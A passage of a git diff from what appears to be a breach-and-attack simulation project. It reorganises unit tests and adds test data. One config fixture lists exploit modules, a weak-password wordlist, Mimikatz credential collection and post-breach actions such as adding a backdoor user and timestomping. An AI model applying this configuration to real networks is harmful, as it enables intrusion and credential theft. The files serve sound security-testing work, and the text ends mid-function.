"info.log", + "filename": "~/info.log", "maxBytes": 10485760, "backupCount": 20, "encoding": "utf8" @@ -30,4 +30,4 @@ "info_file_handler" ] } -} \ No newline at end of file +} diff --git a/monkey/tests/data_for_tests/mongo_key.bin b/monkey/tests/data_for_tests/mongo_key.bin new file mode 100644 index 000000000..6b8091efb --- /dev/null +++ b/monkey/tests/data_for_tests/mongo_key.bin @@ -0,0 +1,2 @@ ++ RO +)ꝞT|RS&C \ No newline at end of file diff --git a/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json b/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json new file mode 100644 index 000000000..86a43f0fc --- /dev/null +++ b/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json @@ -0,0 +1,209 @@ +{ + "basic": { + "exploiters": { + "exploiter_classes": [ + "SmbExploiter", + "WmiExploiter", + "SSHExploiter", + "ShellShockExploiter", + "SambaCryExploiter", + "ElasticGroovyExploiter", + "Struts2Exploiter", + "WebLogicExploiter", + "HadoopExploiter", + "VSFTPDExploiter", + "MSSQLExploiter", + "DrupalExploiter" + ] + }, + "credentials": { + "exploit_user_list": [ + "Administrator", + "root", + "user" + ], + "exploit_password_list": [ + "root", + "123456", + "password", + "123456789", + "qwerty", + "111111", + "iloveyou" + ] + } + }, + "basic_network": { + "scope": { + "blocked_ips": [], + "local_network_scan": true, + "depth": 2, + "subnet_scan_list": [] + }, + "network_analysis": { + "inaccessible_subnets": [] + } + }, + "internal": { + "general": { + "singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}", + "keep_tunnel_open_time": 60, + "monkey_dir_name": "monkey_dir", + "started_on_island": false + }, + "monkey": { + "victims_max_find": 100, + "victims_max_exploit": 100, + "internet_services": [ + "monkey.guardicore.com", + "www.google.com" + ], + "self_delete_in_cleanup": true, + "use_file_logging": true, + "serialize_config": false, + "alive": true, + "aws_keys": { + "aws_access_key_id": "", + "aws_secret_access_key": "", + "aws_session_token": "" + } + }, + "island_server": { + "command_servers": [ + "192.168.1.37:5000", + "10.0.3.1:5000", + "172.17.0.1:5000" + ], + "current_server": "192.168.1.37:5000" + }, + "network": { + "tcp_scanner": { + "HTTP_PORTS": [ + 80, + 8080, + 443, + 8008, + 7001, + 9200 + ], + "tcp_target_ports": [ + 22, + 2222, + 445, + 135, + 3389, + 80, + 8080, + 443, + 8008, + 3306, + 7001, + 8088 + ], + "tcp_scan_interval": 0, + "tcp_scan_timeout": 3000, + "tcp_scan_get_banner": true + }, + "ping_scanner": { + "ping_scan_timeout": 1000 + } + }, + "classes": { + "finger_classes": [ + "SMBFinger", + "SSHFinger", + "PingScanner", + "HTTPFinger", + "MySQLFinger", + "MSSQLFinger", + "ElasticFinger" + ] + }, + "kill_file": { + "kill_file_path_windows": "%windir%\\monkey.not", + "kill_file_path_linux": "/var/run/monkey.not" + }, + "dropper": { + "dropper_set_date": true, + "dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll", + "dropper_date_reference_path_linux": "/bin/sh", + "dropper_target_path_linux": "/tmp/monkey", + "dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe", + "dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe", + "dropper_try_move_first": true + }, + "logging": { + "dropper_log_path_linux": "/tmp/user-1562", + "dropper_log_path_windows": "%temp%\\~df1562.tmp", + "monkey_log_path_linux": "/tmp/user-1563", + "monkey_log_path_windows": "%temp%\\~df1563.tmp", + "send_log_to_server": true + }, + "exploits": { + "exploit_lm_hash_list": [], + "exploit_ntlm_hash_list": [], + "exploit_ssh_keys": [], + "general": { + "skip_exploit_if_file_exist": false + }, + "ms08_067": { + "ms08_067_exploit_attempts": 5, + "user_to_add": "Monkey_IUSER_SUPPORT" + }, + "sambacry": { + "sambacry_trigger_timeout": 5, + "sambacry_folder_paths_to_guess": [ + "/", + "/mnt", + "/tmp", + "/storage", + "/export", + "/share", + "/shares", + "/home" + ], + "sambacry_shares_not_to_check": [ + "IPC$", + "print$" + ] + } + }, + "testing": { + "export_monkey_telems": false + } + }, + "monkey": { + "post_breach": { + "custom_PBA_linux_cmd": "", + "custom_PBA_windows_cmd": "", + "PBA_windows_filename": "", + "PBA_linux_filename": "", + "post_breach_actions": [ + "BackdoorUser", + "CommunicateAsNewUser", + "ModifyShellStartupFiles", + "HiddenFiles", + "TrapCommand", + "ChangeSetuidSetgid", + "ScheduleJobs", + "Timestomping", + "AccountDiscovery" + ] + }, + "system_info": { + "system_info_collector_classes": [ + "EnvironmentCollector", + "AwsCollector", + "HostnameCollector", + "ProcessListCollector", + "MimikatzCollector", + "AzureCollector" + ] + }, + "persistent_scanning": { + "max_iterations": 1, + "timeout_between_iterations": 100, + "retry_failed_explotation": true + } + } + } diff --git a/monkey/tests/data_for_tests/ransomware_targets/all_zeros.pdf b/monkey/tests/data_for_tests/ransomware_targets/all_zeros.pdf new file mode 100644 index 000000000..1716e6bfb Binary files /dev/null and b/monkey/tests/data_for_tests/ransomware_targets/all_zeros.pdf differ diff --git a/monkey/tests/data_for_tests/ransomware_targets/already_encrypted.txt.m0nk3y b/monkey/tests/data_for_tests/ransomware_targets/already_encrypted.txt.m0nk3y new file mode 100644 index 000000000..70a0a237a --- /dev/null +++ b/monkey/tests/data_for_tests/ransomware_targets/already_encrypted.txt.m0nk3y @@ -0,0 +1 @@ +Monkey see, Monkey do. diff --git a/monkey/tests/data_for_tests/ransomware_targets/shortcut.lnk b/monkey/tests/data_for_tests/ransomware_targets/shortcut.lnk new file mode 100644 index 000000000..be9fbc9d7 --- /dev/null +++ b/monkey/tests/data_for_tests/ransomware_targets/shortcut.lnk @@ -0,0 +1 @@ +This is a shortcut. diff --git a/monkey/tests/data_for_tests/ransomware_targets/subdir/hello.txt b/monkey/tests/data_for_tests/ransomware_targets/subdir/hello.txt new file mode 100644 index 000000000..cd0875583 --- /dev/null +++ b/monkey/tests/data_for_tests/ransomware_targets/subdir/hello.txt @@ -0,0 +1 @@ +Hello world! diff --git a/monkey/tests/data_for_tests/ransomware_targets/test_keyboard.txt b/monkey/tests/data_for_tests/ransomware_targets/test_keyboard.txt new file mode 100644 index 000000000..25008a376 --- /dev/null +++ b/monkey/tests/data_for_tests/ransomware_targets/test_keyboard.txt @@ -0,0 +1,2 @@ +ABCDEFGHIJNLMNOPQRSTUVWXYZabcdefghijnlmnopqrstuvwxyz1234567890!@#$%^&*() +The quick brown fox jumps over the lazy dog. diff --git a/monkey/tests/data_for_tests/ransomware_targets/test_lib.dll b/monkey/tests/data_for_tests/ransomware_targets/test_lib.dll new file mode 100644 index 000000000..a339b33c1 --- /dev/null +++ b/monkey/tests/data_for_tests/ransomware_targets/test_lib.dll @@ -0,0 +1 @@ +\tS,sּW#Aևi|ƶKl;5?< 9XĆ "Tsj-Z \ No newline at end of file diff --git a/monkey/tests/data_for_tests/server_configs/server_config_empty.json b/monkey/tests/data_for_tests/server_configs/server_config_empty.json new file mode 100644 index 000000000..2c63c0851 --- /dev/null +++ b/monkey/tests/data_for_tests/server_configs/server_config_empty.json @@ -0,0 +1,2 @@ +{ +} diff --git a/monkey/tests/data_for_tests/server_configs/server_config_init_only.json b/monkey/tests/data_for_tests/server_configs/server_config_init_only.json new file mode 100644 index 000000000..25082b0b3 --- /dev/null +++ b/monkey/tests/data_for_tests/server_configs/server_config_init_only.json @@ -0,0 +1,4 @@ +{ + "data_dir": "~/.monkey_island", + "log_level": "NOTICE" +} diff --git a/monkey/tests/data_for_tests/server_configs/server_config_no_credentials.json b/monkey/tests/data_for_tests/server_configs/server_config_no_credentials.json new file mode 100644 index 000000000..31da48aa4 --- /dev/null +++ b/monkey/tests/data_for_tests/server_configs/server_config_no_credentials.json @@ -0,0 +1,9 @@ +{ + "environment" : { + "server_config": "password", + "deployment": "develop" + }, + "mongodb": { + "start_mongodb": true + } +} diff --git a/monkey/tests/data_for_tests/server_configs/server_config_partial_credentials.json b/monkey/tests/data_for_tests/server_configs/server_config_partial_credentials.json new file mode 100644 index 000000000..e29d514cd --- /dev/null +++ b/monkey/tests/data_for_tests/server_configs/server_config_partial_credentials.json @@ -0,0 +1,10 @@ +{ + "environment" : { + "server_config": "password", + "deployment": "develop", + "user": "test" + }, + "mongodb": { + "start_mongodb": true + } +} diff --git a/monkey/tests/data_for_tests/server_configs/server_config_standard_env.json b/monkey/tests/data_for_tests/server_configs/server_config_standard_env.json new file mode 100644 index 000000000..9c3a9899f --- /dev/null +++ b/monkey/tests/data_for_tests/server_configs/server_config_standard_env.json @@ -0,0 +1,9 @@ +{ + "environment" : { + "server_config": "standard", + "deployment": "develop" + }, + "mongodb": { + "start_mongodb": true + } +} diff --git a/monkey/tests/data_for_tests/server_configs/server_config_standard_with_credentials.json b/monkey/tests/data_for_tests/server_configs/server_config_standard_with_credentials.json new file mode 100644 index 000000000..28d8653c8 --- /dev/null +++ b/monkey/tests/data_for_tests/server_configs/server_config_standard_with_credentials.json @@ -0,0 +1,12 @@ +{ + "log_level": "NOTICE", + "environment" : { + "server_config": "standard", + "deployment": "develop", + "user": "test", + "password_hash": "abcdef" + }, + "mongodb": { + "start_mongodb": true + } +} diff --git a/monkey/tests/data_for_tests/server_configs/server_config_with_credentials.json b/monkey/tests/data_for_tests/server_configs/server_config_with_credentials.json new file mode 100644 index 000000000..2f75c48fb --- /dev/null +++ b/monkey/tests/data_for_tests/server_configs/server_config_with_credentials.json @@ -0,0 +1,11 @@ +{ + "environment" : { + "server_config": "password", + "deployment": "develop", + "user": "test", + "password_hash": "abcdef" + }, + "mongodb": { + "start_mongodb": true + } +} diff --git a/monkey/tests/data_for_tests/stable_file.txt b/monkey/tests/data_for_tests/stable_file.txt new file mode 100644 index 000000000..ffe82625b --- /dev/null +++ b/monkey/tests/data_for_tests/stable_file.txt @@ -0,0 +1 @@ +Don't change me! diff --git a/monkey/tests/data_for_tests/test_readme.txt b/monkey/tests/data_for_tests/test_readme.txt new file mode 100644 index 000000000..8ab686eaf --- /dev/null +++ b/monkey/tests/data_for_tests/test_readme.txt @@ -0,0 +1 @@ +Hello, World! diff --git a/monkey/tests/monkey_island/utils.py b/monkey/tests/monkey_island/utils.py new file mode 100644 index 000000000..dd781f85d --- /dev/null +++ b/monkey/tests/monkey_island/utils.py @@ -0,0 +1,35 @@ +from monkey_island.cc.server_utils.file_utils import is_windows_os + +if is_windows_os(): + import win32api + import win32security + + FULL_CONTROL = 2032127 + ACE_ACCESS_MODE_GRANT_ACCESS = win32security.GRANT_ACCESS + ACE_INHERIT_OBJECT_AND_CONTAINER = 3 + + +def _get_acl_and_sid_from_path(path: str): + sid, _, _ = win32security.LookupAccountName("", win32api.GetUserName()) + security_descriptor = win32security.GetNamedSecurityInfo( + path, win32security.SE_FILE_OBJECT, win32security.DACL_SECURITY_INFORMATION + ) + acl = security_descriptor.GetSecurityDescriptorDacl() + return acl, sid + + +def assert_windows_permissions(path: str): + acl, user_sid = _get_acl_and_sid_from_path(path) + + assert acl.GetAceCount() == 1 + + ace = acl.GetExplicitEntriesFromAcl()[0] + + ace_access_mode = ace["AccessMode"] + ace_permissions = ace["AccessPermissions"] + ace_inheritance = ace["Inheritance"] + ace_sid = ace["Trustee"]["Identifier"] + + assert ace_sid == user_sid + assert ace_permissions == FULL_CONTROL and ace_access_mode == ACE_ACCESS_MODE_GRANT_ACCESS + assert ace_inheritance == ACE_INHERIT_OBJECT_AND_CONTAINER diff --git a/monkey/monkey_island/cc/test_common/profiling/README.md b/monkey/tests/profiling/README.md similarity index 76% rename from monkey/monkey_island/cc/test_common/profiling/README.md rename to monkey/tests/profiling/README.md index d0cb92bfa..d22d2188c 100644 --- a/monkey/monkey_island/cc/test_common/profiling/README.md +++ b/monkey/tests/profiling/README.md @@ -1,9 +1,9 @@ # Profiling island -To profile specific methods on island a `@profile(sort_args=['cumulative'], print_args=[100])` -decorator can be used. +To profile specific methods on island a `@profile(sort_args=['cumulative'], print_args=[100])` +decorator can be used. Use it as a parameterised decorator(`@profile()`). After decorated method is used, a file will appear in a directory provided in `profiler_decorator.py`. Filename describes the path of the method that was profiled. For example if method `monkey_island/cc/resources/netmap.get` -was profiled, then the results of this profiling will appear in +was profiled, then the results of this profiling will appear in `monkey_island_cc_resources_netmap_get`. diff --git a/monkey/monkey_island/cc/test_common/profiling/profiler_decorator.py b/monkey/tests/profiling/profiler_decorator.py similarity index 88% rename from monkey/monkey_island/cc/test_common/profiling/profiler_decorator.py rename to monkey/tests/profiling/profiler_decorator.py index 64642895e..41b641cc8 100644 --- a/monkey/monkey_island/cc/test_common/profiling/profiler_decorator.py +++ b/monkey/tests/profiling/profiler_decorator.py @@ -5,8 +5,7 @@ from cProfile import Profile PROFILER_LOG_DIR = "./profiler_logs/" -def profile(sort_args=['cumulative'], print_args=[100]): - +def profile(sort_args=["cumulative"], print_args=[100]): def decorator(fn): def inner(*args, **kwargs): result = None @@ -19,11 +18,13 @@ def profile(sort_args=['cumulative'], print_args=[100]): except os.error: pass filename = PROFILER_LOG_DIR + _get_filename_for_function(fn) - with open(filename, 'w') as stream: + with open(filename, "w") as stream: stats = pstats.Stats(profiler, stream=stream) stats.strip_dirs().sort_stats(*sort_args).print_stats(*print_args) return result + return inner + return decorator diff --git a/monkey/tests/unit_tests/__init__.py b/monkey/tests/unit_tests/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/monkey/common/cloud/aws/test_aws_instance.py b/monkey/tests/unit_tests/common/cloud/aws/test_aws_instance.py similarity index 63% rename from monkey/common/cloud/aws/test_aws_instance.py rename to monkey/tests/unit_tests/common/cloud/aws/test_aws_instance.py index 0353a0b9f..74ef5dd15 100644 --- a/monkey/common/cloud/aws/test_aws_instance.py +++ b/monkey/tests/unit_tests/common/cloud/aws/test_aws_instance.py @@ -1,17 +1,13 @@ -import json - import pytest import requests import requests_mock -from common.cloud.aws.aws_instance import (AWS_LATEST_METADATA_URI_PREFIX, - AwsInstance) +from common.cloud.aws.aws_instance import AWS_LATEST_METADATA_URI_PREFIX, AwsInstance from common.cloud.environment_names import Environment +INSTANCE_ID_RESPONSE = "i-1234567890abcdef0" -INSTANCE_ID_RESPONSE = 'i-1234567890abcdef0' - -AVAILABILITY_ZONE_RESPONSE = 'us-west-2b' +AVAILABILITY_ZONE_RESPONSE = "us-west-2b" # from https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-identity-documents.html INSTANCE_IDENTITY_DOCUMENT_RESPONSE = """ @@ -34,35 +30,33 @@ INSTANCE_IDENTITY_DOCUMENT_RESPONSE = """ } """ +EXPECTED_INSTANCE_ID = "i-1234567890abcdef0" -EXPECTED_INSTANCE_ID = 'i-1234567890abcdef0' +EXPECTED_REGION = "us-west-2" -EXPECTED_REGION = 'us-west-2' - -EXPECTED_ACCOUNT_ID = '123456789012' +EXPECTED_ACCOUNT_ID = "123456789012" -def get_test_aws_instance(text={'instance_id': None, - 'region': None, - 'account_id': None}, - exception={'instance_id': None, - 'region': None, - 'account_id': None}): +def get_test_aws_instance( + text={"instance_id": None, "region": None, "account_id": None}, + exception={"instance_id": None, "region": None, "account_id": None}, +): with requests_mock.Mocker() as m: # request made to get instance_id - url = f'{AWS_LATEST_METADATA_URI_PREFIX}meta-data/instance-id' - m.get(url, text=text['instance_id']) if text['instance_id'] else m.get( - url, exc=exception['instance_id']) + url = f"{AWS_LATEST_METADATA_URI_PREFIX}meta-data/instance-id" + m.get(url, text=text["instance_id"]) if text["instance_id"] else m.get( + url, exc=exception["instance_id"] + ) # request made to get region - url = f'{AWS_LATEST_METADATA_URI_PREFIX}meta-data/placement/availability-zone' - m.get(url, text=text['region']) if text['region'] else m.get( - url, exc=exception['region']) + url = f"{AWS_LATEST_METADATA_URI_PREFIX}meta-data/placement/availability-zone" + m.get(url, text=text["region"]) if text["region"] else m.get(url, exc=exception["region"]) # request made to get account_id - url = f'{AWS_LATEST_METADATA_URI_PREFIX}dynamic/instance-identity/document' - m.get(url, text=text['account_id']) if text['account_id'] else m.get( - url, exc=exception['account_id']) + url = f"{AWS_LATEST_METADATA_URI_PREFIX}dynamic/instance-identity/document" + m.get(url, text=text["account_id"]) if text["account_id"] else m.get( + url, exc=exception["account_id"] + ) test_aws_instance_object = AwsInstance() return test_aws_instance_object @@ -71,9 +65,13 @@ def get_test_aws_instance(text={'instance_id': None, # all good data @pytest.fixture def good_data_mock_instance(): - return get_test_aws_instance(text={'instance_id': INSTANCE_ID_RESPONSE, - 'region': AVAILABILITY_ZONE_RESPONSE, - 'account_id': INSTANCE_IDENTITY_DOCUMENT_RESPONSE}) + return get_test_aws_instance( + text={ + "instance_id": INSTANCE_ID_RESPONSE, + "region": AVAILABILITY_ZONE_RESPONSE, + "account_id": INSTANCE_IDENTITY_DOCUMENT_RESPONSE, + } + ) def test_is_instance_good_data(good_data_mock_instance): @@ -99,9 +97,13 @@ def test_get_account_id_good_data(good_data_mock_instance): # 'region' bad data @pytest.fixture def bad_region_data_mock_instance(): - return get_test_aws_instance(text={'instance_id': INSTANCE_ID_RESPONSE, - 'region': 'in-a-different-world', - 'account_id': INSTANCE_IDENTITY_DOCUMENT_RESPONSE}) + return get_test_aws_instance( + text={ + "instance_id": INSTANCE_ID_RESPONSE, + "region": "in-a-different-world", + "account_id": INSTANCE_IDENTITY_DOCUMENT_RESPONSE, + } + ) def test_is_instance_bad_region_data(bad_region_data_mock_instance): @@ -127,9 +129,13 @@ def test_get_account_id_bad_region_data(bad_region_data_mock_instance): # 'account_id' bad data @pytest.fixture def bad_account_id_data_mock_instance(): - return get_test_aws_instance(text={'instance_id': INSTANCE_ID_RESPONSE, - 'region': AVAILABILITY_ZONE_RESPONSE, - 'account_id': 'who-am-i'}) + return get_test_aws_instance( + text={ + "instance_id": INSTANCE_ID_RESPONSE, + "region": AVAILABILITY_ZONE_RESPONSE, + "account_id": "who-am-i", + } + ) def test_is_instance_bad_account_id_data(bad_account_id_data_mock_instance): @@ -155,35 +161,37 @@ def test_get_account_id_data_bad_account_id_data(bad_account_id_data_mock_instan # 'instance_id' bad requests @pytest.fixture def bad_instance_id_request_mock_instance(instance_id_exception): - return get_test_aws_instance(text={'instance_id': None, - 'region': AVAILABILITY_ZONE_RESPONSE, - 'account_id': INSTANCE_IDENTITY_DOCUMENT_RESPONSE}, - exception={'instance_id': instance_id_exception, - 'region': None, - 'account_id': None}) + return get_test_aws_instance( + text={ + "instance_id": None, + "region": AVAILABILITY_ZONE_RESPONSE, + "account_id": INSTANCE_IDENTITY_DOCUMENT_RESPONSE, + }, + exception={"instance_id": instance_id_exception, "region": None, "account_id": None}, + ) -@pytest.mark.parametrize('instance_id_exception', [requests.RequestException, IOError]) +@pytest.mark.parametrize("instance_id_exception", [requests.RequestException, IOError]) def test_is_instance_bad_instance_id_request(bad_instance_id_request_mock_instance): assert bad_instance_id_request_mock_instance.is_instance() is False -@pytest.mark.parametrize('instance_id_exception', [requests.RequestException, IOError]) +@pytest.mark.parametrize("instance_id_exception", [requests.RequestException, IOError]) def test_get_cloud_provider_name_bad_instance_id_request(bad_instance_id_request_mock_instance): assert bad_instance_id_request_mock_instance.get_cloud_provider_name() == Environment.AWS -@pytest.mark.parametrize('instance_id_exception', [requests.RequestException, IOError]) +@pytest.mark.parametrize("instance_id_exception", [requests.RequestException, IOError]) def test_get_instance_id_bad_instance_id_request(bad_instance_id_request_mock_instance): assert bad_instance_id_request_mock_instance.get_instance_id() is None -@pytest.mark.parametrize('instance_id_exception', [requests.RequestException, IOError]) +@pytest.mark.parametrize("instance_id_exception", [requests.RequestException, IOError]) def test_get_region_bad_instance_id_request(bad_instance_id_request_mock_instance): assert bad_instance_id_request_mock_instance.get_region() is None -@pytest.mark.parametrize('instance_id_exception', [requests.RequestException, IOError]) +@pytest.mark.parametrize("instance_id_exception", [requests.RequestException, IOError]) def test_get_account_id_bad_instance_id_request(bad_instance_id_request_mock_instance): assert bad_instance_id_request_mock_instance.get_account_id() == EXPECTED_ACCOUNT_ID @@ -191,35 +199,37 @@ def test_get_account_id_bad_instance_id_request(bad_instance_id_request_mock_ins # 'region' bad requests @pytest.fixture def bad_region_request_mock_instance(region_exception): - return get_test_aws_instance(text={'instance_id': INSTANCE_ID_RESPONSE, - 'region': None, - 'account_id': INSTANCE_IDENTITY_DOCUMENT_RESPONSE}, - exception={'instance_id': None, - 'region': region_exception, - 'account_id': None}) + return get_test_aws_instance( + text={ + "instance_id": INSTANCE_ID_RESPONSE, + "region": None, + "account_id": INSTANCE_IDENTITY_DOCUMENT_RESPONSE, + }, + exception={"instance_id": None, "region": region_exception, "account_id": None}, + ) -@pytest.mark.parametrize('region_exception', [requests.RequestException, IOError]) +@pytest.mark.parametrize("region_exception", [requests.RequestException, IOError]) def test_is_instance_bad_region_request(bad_region_request_mock_instance): assert bad_region_request_mock_instance.is_instance() -@pytest.mark.parametrize('region_exception', [requests.RequestException, IOError]) +@pytest.mark.parametrize("region_exception", [requests.RequestException, IOError]) def test_get_cloud_provider_name_bad_region_request(bad_region_request_mock_instance): assert bad_region_request_mock_instance.get_cloud_provider_name() == Environment.AWS -@pytest.mark.parametrize('region_exception', [requests.RequestException, IOError]) +@pytest.mark.parametrize("region_exception", [requests.RequestException, IOError]) def test_get_instance_id_bad_region_request(bad_region_request_mock_instance): assert bad_region_request_mock_instance.get_instance_id() == EXPECTED_INSTANCE_ID -@pytest.mark.parametrize('region_exception', [requests.RequestException, IOError]) +@pytest.mark.parametrize("region_exception", [requests.RequestException, IOError]) def test_get_region_bad_region_request(bad_region_request_mock_instance): assert bad_region_request_mock_instance.get_region() is None -@pytest.mark.parametrize('region_exception', [requests.RequestException, IOError]) +@pytest.mark.parametrize("region_exception", [requests.RequestException, IOError]) def test_get_account_id_bad_region_request(bad_region_request_mock_instance): assert bad_region_request_mock_instance.get_account_id() == EXPECTED_ACCOUNT_ID @@ -227,35 +237,37 @@ def test_get_account_id_bad_region_request(bad_region_request_mock_instance): # 'account_id' bad requests @pytest.fixture def bad_account_id_request_mock_instance(account_id_exception): - return get_test_aws_instance(text={'instance_id': INSTANCE_ID_RESPONSE, - 'region': AVAILABILITY_ZONE_RESPONSE, - 'account_id': None}, - exception={'instance_id': None, - 'region': None, - 'account_id': account_id_exception}) + return get_test_aws_instance( + text={ + "instance_id": INSTANCE_ID_RESPONSE, + "region": AVAILABILITY_ZONE_RESPONSE, + "account_id": None, + }, + exception={"instance_id": None, "region": None, "account_id": account_id_exception}, + ) -@pytest.mark.parametrize('account_id_exception', [requests.RequestException, IOError]) +@pytest.mark.parametrize("account_id_exception", [requests.RequestException, IOError]) def test_is_instance_bad_account_id_request(bad_account_id_request_mock_instance): assert bad_account_id_request_mock_instance.is_instance() -@pytest.mark.parametrize('account_id_exception', [requests.RequestException, IOError]) +@pytest.mark.parametrize("account_id_exception", [requests.RequestException, IOError]) def test_get_cloud_provider_name_bad_account_id_request(bad_account_id_request_mock_instance): assert bad_account_id_request_mock_instance.get_cloud_provider_name() == Environment.AWS -@pytest.mark.parametrize('account_id_exception', [requests.RequestException, IOError]) +@pytest.mark.parametrize("account_id_exception", [requests.RequestException, IOError]) def test_get_instance_id_bad_account_id_request(bad_account_id_request_mock_instance): assert bad_account_id_request_mock_instance.get_instance_id() == EXPECTED_INSTANCE_ID -@pytest.mark.parametrize('account_id_exception', [requests.RequestException, IOError]) +@pytest.mark.parametrize("account_id_exception", [requests.RequestException, IOError]) def test_get_region_bad_account_id_request(bad_account_id_request_mock_instance): assert bad_account_id_request_mock_instance.get_region() == EXPECTED_REGION -@pytest.mark.parametrize('account_id_exception', [requests.RequestException, IOError]) +@pytest.mark.parametrize("account_id_exception", [requests.RequestException, IOError]) def test_get_account_id_bad_account_id_request(bad_account_id_request_mock_instance): assert bad_account_id_request_mock_instance.get_account_id() is None @@ -265,15 +277,15 @@ def test_get_account_id_bad_account_id_request(bad_account_id_request_mock_insta def not_found_request_mock_instance(): with requests_mock.Mocker() as m: # request made to get instance_id - url = f'{AWS_LATEST_METADATA_URI_PREFIX}meta-data/instance-id' + url = f"{AWS_LATEST_METADATA_URI_PREFIX}meta-data/instance-id" m.get(url, status_code=404) # request made to get region - url = f'{AWS_LATEST_METADATA_URI_PREFIX}meta-data/placement/availability-zone' + url = f"{AWS_LATEST_METADATA_URI_PREFIX}meta-data/placement/availability-zone" m.get(url) # request made to get account_id - url = f'{AWS_LATEST_METADATA_URI_PREFIX}dynamic/instance-identity/document' + url = f"{AWS_LATEST_METADATA_URI_PREFIX}dynamic/instance-identity/document" m.get(url) not_found_aws_instance_object = AwsInstance() diff --git a/monkey/common/cloud/aws/test_aws_service.py b/monkey/tests/unit_tests/common/cloud/aws/test_aws_service.py similarity index 81% rename from monkey/common/cloud/aws/test_aws_service.py rename to monkey/tests/unit_tests/common/cloud/aws/test_aws_service.py index 9e3f342b2..dc5ec3831 100644 --- a/monkey/common/cloud/aws/test_aws_service.py +++ b/monkey/tests/unit_tests/common/cloud/aws/test_aws_service.py @@ -1,12 +1,10 @@ import json from unittest import TestCase -from .aws_service import filter_instance_data_from_aws_response - -__author__ = 'shay.nehmad' +from common.cloud.aws.aws_service import filter_instance_data_from_aws_response -class TestFilterInstanceDataFromAwsResponse(TestCase): +class TestAwsService(TestCase): def test_filter_instance_data_from_aws_response(self): json_response_full = """ { @@ -49,10 +47,10 @@ class TestFilterInstanceDataFromAwsResponse(TestCase): } """ - self.assertEqual(filter_instance_data_from_aws_response(json.loads(json_response_empty)), []) + self.assertEqual( + filter_instance_data_from_aws_response(json.loads(json_response_empty)), [] + ) self.assertEqual( filter_instance_data_from_aws_response(json.loads(json_response_full)), - [{'instance_id': 'string', - 'ip_address': 'string', - 'name': 'string', - 'os': 'string'}]) + [{"instance_id": "string", "ip_address": "string", "name": "string", "os": "string"}], + ) diff --git a/monkey/tests/unit_tests/common/cloud/azure/test_azure_instance.py b/monkey/tests/unit_tests/common/cloud/azure/test_azure_instance.py new file mode 100644 index 000000000..a7bed81dd --- /dev/null +++ b/monkey/tests/unit_tests/common/cloud/azure/test_azure_instance.py @@ -0,0 +1,223 @@ +import pytest +import requests +import requests_mock +import simplejson + +from common.cloud.azure.azure_instance import AZURE_METADATA_SERVICE_URL, AzureInstance +from common.cloud.environment_names import Environment + +GOOD_DATA = { + "compute": { + "azEnvironment": "AZUREPUBLICCLOUD", + "isHostCompatibilityLayerVm": "true", + "licenseType": "Windows_Client", + "location": "westus", + "name": "examplevmname", + "offer": "Windows", + "osProfile": { + "adminUsername": "admin", + "computerName": "examplevmname", + "disablePasswordAuthentication": "true", + }, + "osType": "linux", + "placementGroupId": "f67c14ab-e92c-408c-ae2d-da15866ec79a", + "plan": {"name": "planName", "product": "planProduct", "publisher": "planPublisher"}, + "platformFaultDomain": "36", + "platformUpdateDomain": "42", + "publicKeys": [ + {"keyData": "ssh-rsa 0", "path": "/home/user/.ssh/authorized_keys0"}, + {"keyData": "ssh-rsa 1", "path": "/home/user/.ssh/authorized_keys1"}, + ], + "publisher": "RDFE-Test-Microsoft-Windows-Server-Group", + "resourceGroupName": "macikgo-test-may-23", + "resourceId": "/subscriptions/xxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxx/resourceGroups/macikgo-test" + "-may-23/" + "providers/Microsoft.Compute/virtualMachines/examplevmname", + "securityProfile": {"secureBootEnabled": "true", "virtualTpmEnabled": "false"}, + "sku": "Windows-Server-2012-R2-Datacenter", + "storageProfile": { + "dataDisks": [ + { + "caching": "None", + "createOption": "Empty", + "diskSizeGB": "1024", + "image": {"uri": ""}, + "lun": "0", + "managedDisk": { + "id": "/subscriptions/xxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxx/" + "resourceGroups/macikgo-test-may-23/providers/" + "Microsoft.Compute/disks/exampledatadiskname", + "storageAccountType": "Standard_LRS", + }, + "name": "exampledatadiskname", + "vhd": {"uri": ""}, + "writeAcceleratorEnabled": "false", + } + ], + "imageReference": { + "id": "", + "offer": "UbuntuServer", + "publisher": "Canonical", + "sku": "16.04.0-LTS", + "version": "latest", + }, + "osDisk": { + "caching": "ReadWrite", + "createOption": "FromImage", + "diskSizeGB": "30", + "diffDiskSettings": {"option": "Local"}, + "encryptionSettings": {"enabled": "false"}, + "image": {"uri": ""}, + "managedDisk": { + "id": "/subscriptions/xxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxx/" + "resourceGroups/macikgo-test-may-23/providers/" + "Microsoft.Compute/disks/exampleosdiskname", + "storageAccountType": "Standard_LRS", + }, + "name": "exampleosdiskname", + "osType": "Linux", + "vhd": {"uri": ""}, + "writeAcceleratorEnabled": "false", + }, + }, + "subscriptionId": "xxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxx", + "tags": "baz:bash;foo:bar", + "version": "15.05.22", + "vmId": "02aab8a4-74ef-476e-8182-f6d2ba4166a6", + "vmScaleSetName": "crpteste9vflji9", + "vmSize": "Standard_A3", + "zone": "", + }, + "network": { + "interface": [ + { + "ipv4": { + "ipAddress": [{"privateIpAddress": "10.144.133.132", "publicIpAddress": ""}], + "subnet": [{"address": "10.144.133.128", "prefix": "26"}], + }, + "ipv6": {"ipAddress": []}, + "macAddress": "0011AAFFBB22", + } + ] + }, +} + +BAD_DATA_NOT_JSON = ( + '\n\n\n\n\nWaiting...\n\n\n " + "\n\n" +) + +BAD_DATA_JSON = {"": ""} + + +def get_test_azure_instance(url, **kwargs): + with requests_mock.Mocker() as m: + m.get(url, **kwargs) + test_azure_instance_object = AzureInstance() + return test_azure_instance_object + + +# good request, good data +@pytest.fixture +def good_data_mock_instance(): + return get_test_azure_instance(AZURE_METADATA_SERVICE_URL, text=simplejson.dumps(GOOD_DATA)) + + +def test_is_instance_good_data(good_data_mock_instance): + assert good_data_mock_instance.is_instance() + + +def 